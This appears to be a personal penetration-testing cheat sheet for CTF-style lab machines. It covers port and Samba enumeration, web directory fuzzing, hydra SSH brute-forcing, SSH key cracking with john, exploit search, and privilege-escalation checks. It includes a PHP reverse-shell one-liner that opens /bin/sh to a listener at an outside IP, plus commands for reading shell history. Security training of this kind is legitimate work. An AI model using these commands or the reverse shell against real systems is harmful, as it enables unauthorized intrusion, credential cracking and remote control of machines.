Exploration

Server

Scan for open ports
nmap -A 10.10.116.134

Samba

Get Information about samba
enum4linux -a 10.10.116.134

Connect to anonymous samba share
smbclient //10.10.116.134/Anonymous

Webserver

Seclists: https://github.com/danielmiessler/SecLists

Custom wordlists

CeWL is a ruby app which spiders a given url to a specified depth, optionally following external links, and returns a list of words which can then be used for password crackers such as John the Ripper.

Directory scanning

gobuster dir -u http://10.10.154.87:3333 -w /home/kali/Downloads/big.txt

wfuzz -c -z file,wordlist.txt -u http://10.10.218.20/api/site-log.php?date=FUZZ

wfuzz -c -z file,big.txt -d “username=FUZZ&password=FUZZ” -u http://shibes.xyz/api.php

wfuzz -c -z file,big.txt -u http://shibes.xyz/api.php?breed=FUZZ

./ffuf -u http://s3.bucket.htb/FUZZ -w /usr/share/seclists/Discovery/Web-Content/raft-large-directories.txt

dirb http://10.10.144.50 big.txt

Brute Force

SSH

SSH Brutefrce with hydra
hydra -t 4 -V -f -l jan -P /home/kali/Downloads/rockyou.txt 10.10.116.134 ssh

Crack ssh key: Convert id_rsa for john and the crack it with wordlist
python3 /usr/share/john/ssh2john.py id_rsa > idcrack
john --wordlist=rockyou.txt idcrack

Exploitation

Search for exploits

Search in exploit db for wordpress
searchsploit wordpress

Reverse shell

Reverse shells

Netcat without e

<?php $sock=fsockopen("10.9.231.55",4444);exec("/bin/sh -i <&3 >&3 2>&3"); ?>

Incoming reverse shell

nc -nvlp <port>

Upgrading reverse shell

Upgrading from netcat with magic

Priviledge escalation

LinPEAS is a script that search for possible paths to escalate privileges on Linux/Unix* hosts

LinEnum

List sudo rights
sudo -l

setuid-Bit find / -user root -perm -4000 -exec ls -ldb {} \; 2>/dev/null

Post Exploitation

Bash History ~/bash_history ~/zsh_history

Useful tools

Local webserver from current directory
python3 -m http.server 8080

Pipe through grep and write resuls to file
cat <file> | grep -e "dir" > result.txt

View & edit Path variable
https://www.baeldung.com/linux/path-variable
echo $PATH
export PATH=/some/new/path:$PATH

Cyberchef - Encoding, Cryto and other string operations

Images

exiftool - show exifdata

Extract hidden data from images steghide extract -sf Image.jpg

Legende

kursiv fett ~~durchgestrichen~~ code

Liste:

Eintrag
Noch einer